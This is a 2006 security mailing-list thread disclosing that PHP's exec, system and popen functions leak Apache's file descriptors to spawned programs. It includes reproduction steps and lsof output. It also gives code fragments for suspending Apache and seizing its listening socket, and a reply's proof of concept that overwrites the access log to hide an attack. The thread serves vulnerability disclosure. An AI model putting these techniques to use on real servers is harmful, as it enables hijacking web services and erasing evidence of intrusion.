PHP "exec", "system", "popen" problem Oct 19 2006 04:53AM
Дмитрий Borgir (dimmoborgir gmail com) (1 replies)
Re: PHP "exec", "system", "popen" (+small POC) Oct 20 2006 09:08AM
Bernhard Mueller (research sec-consult com)
Hello,

This is not a new problem (see http://www.securityfocus.com/bid/9302).
However, we also "discovered" this a few weeks ago and contacted Apache
and PHP about it. According to Stefan Esser (PHP) its due to Apache's
failure to open file descriptors with the close on exec flag. However,
according to Joe Orton (Apache) won't change this flag because it would
make no difference to Apache's security model ("anything you can do in a
sh script spawned by a PHP script you can do directly in the PHP script
anyway"). The bottom line is that this will also work in future, because
neither the Apache team nor the PHP team will "fix" the issue.
Personally, I'd think that a combination of both measures (close on exec
flag and explicitly closing specific file descriptors by PHP) would make
the most sense.
BTW, with this flaw an attacker can also conveniently change / overwrite
Apache's log files and therefore hide his attack after owning a
PHP-based web application. Here's a quick POC as I haven't seen one
anywhere yet :)

------------

# apache's access_log can be overwritten with arbitrary content
# from PHP called executables.
# POC by frauk\x41ser && sk0L / SEC Consult 2006

#include <unistd.h>
#include <fcntl.h>

#define LOGFD 7

void main(){
fcntl(LOGFD, F_SETFL, O_WRONLY); // change mode from append to write
lseek(LOGFD, 0, SEEK_SET); // reposition to start of file
write(LOGFD,"hehe\n",5);
}

-------------

Bernhard

Ð?миÑ?Ñ?ий Borgir wrote:
> Vulnerable product:
> -------------------
> PHP ver. 4.4.3, 4.4.4, 5.0.4, 5.1.4, 5.1.6, 5.2.0RC5.
> Other PHP versions are very likely to have this problem.
>
> Description:
> ------------
> The problem is in "exec", "system", "popen" (and similar) PHP functions.
> In fact, PHP doesn't sanitize opened file descriptors before executing
> a program.
>
> Cause:
> ------
> These PHP functions use popen() C function to spawn a new process.
> The call of popen() is equivalent to the combination of
> - pipe (to create the pipe),
> - fork (to create the subprocess),
> - dup2 (to force the subprocess to use the pipe as its standard input
> or output channel),
> - exec (to execute the new program).
> These functions keep file descriptors of the parent process opened.
> So, when we run a new program via, e.g. "exec" PHP function, this
> program will inherit
> all opened file descriptors of its parent. In our case it is Apache
> web-server.
> (There is FD_CLOEXEC flag for file descriptors, which specifies that
> the file descriptor
> should be closed when an exec function is invoked. But Apache doesn't
> set this flag on it
> descriptors)
>
> This bug makes PHP File Include vulnerabilities more dangerous.
> If the server uses mod_php and we are free to execute shell commands
> via system(),
> then we can easily manipulate inherited file descriptors. E.g. to
> listen and accept
> connections on 80 port (opened by Apache, and transmitted to us by PHP)
> or write
> anything to its accesslog or errorlog.
>
> Reproduce code:
> ---------------
> Some steps to reproduce a bug.
> First. Simple program to wait :)
>
> # cat test1.c
> int main() {
> setsid( );
> sleep( 10000 );
> }
>
> #gcc -o test1 test1.c
>
> Ok. Let's make a php script:
> #cat a.php
> <?php system( "./test1" ) ?>
>
> Request: http://10.0.0.2/a.php
>
> Good. Now see opened file descriptors:
>
> #lsof | grep test1
> test1 cwd DIR /usr/local/apache2/htdocs
> test1 rtd DIR /
> test1 txt REG /var/www/html/test1
> test1 mem REG /lib/tls/libc- 2.3.5.so
> test1 mem REG /lib/ld-2.3.5.so
> test1 mem REG [stack] (stat: No such file or directory)
> test1 0r CHR /dev/null
> test1 1w FIFO pipe
> test1 2w REG /usr/local/apache2/logs/error_log
> test1 3u IPv4 *:http (LISTEN)
> test1 4r FIFO pipe
> test1 5w FIFO pipe
> test1 6w REG /usr/local/apache2/logs/error_log
> test1 7w REG /usr/local/apache2/logs/access_log
> test1 8r 0000 unknown inode type
> test1 9u IPv4 10.0.0.2:http->10.0.0.1:2134 (CLOSE_WAIT)
>
> So, our test1 has Apache's handles. Now we can do something like that
> (inside test1.c)
>
> int p = getsid( 0 ); // get current Process Group Id
> setsid( ); // become session leader
> kill( -p, SIGSTOP ); // good night, Apache Process Group :)
>
> And after that:
>
> for ( sock = 3; sock < getdtablesize(); sock++ ) // find valid socket
> handle
> if ( listen (sock, 10) == 0 ) break;
> Full exploit is available on http://hackerdom.ru/~dimmo/phpexpl.c
>
> php.net
> -------
>
> I described the bug on "bugs.php.net" on 21 Sep, but there is no
> feedback from the PHP Group.
> http://bugs.php.net/38915
>
> Greetz
> ------
>
> archange1, jackrabbit, kost, VenRock, znick and others :)
>
> Special thanks to ilya for help.

--
_____________________________________________________

DI (FH) Bernhard Mueller
IT Security Consultant

SEC-Consult Unternehmensberatung GmbH
www.sec-consult.com

A-1080 Vienna, Blindengasse 3
phone +43 1 8903043 0
fax +43 1 8903043 15
mobile +43 676 840301 718
email b.mueller (at) sec-consult (dot) com [email concealed]

Advisor for your information security.
______________________________________________________

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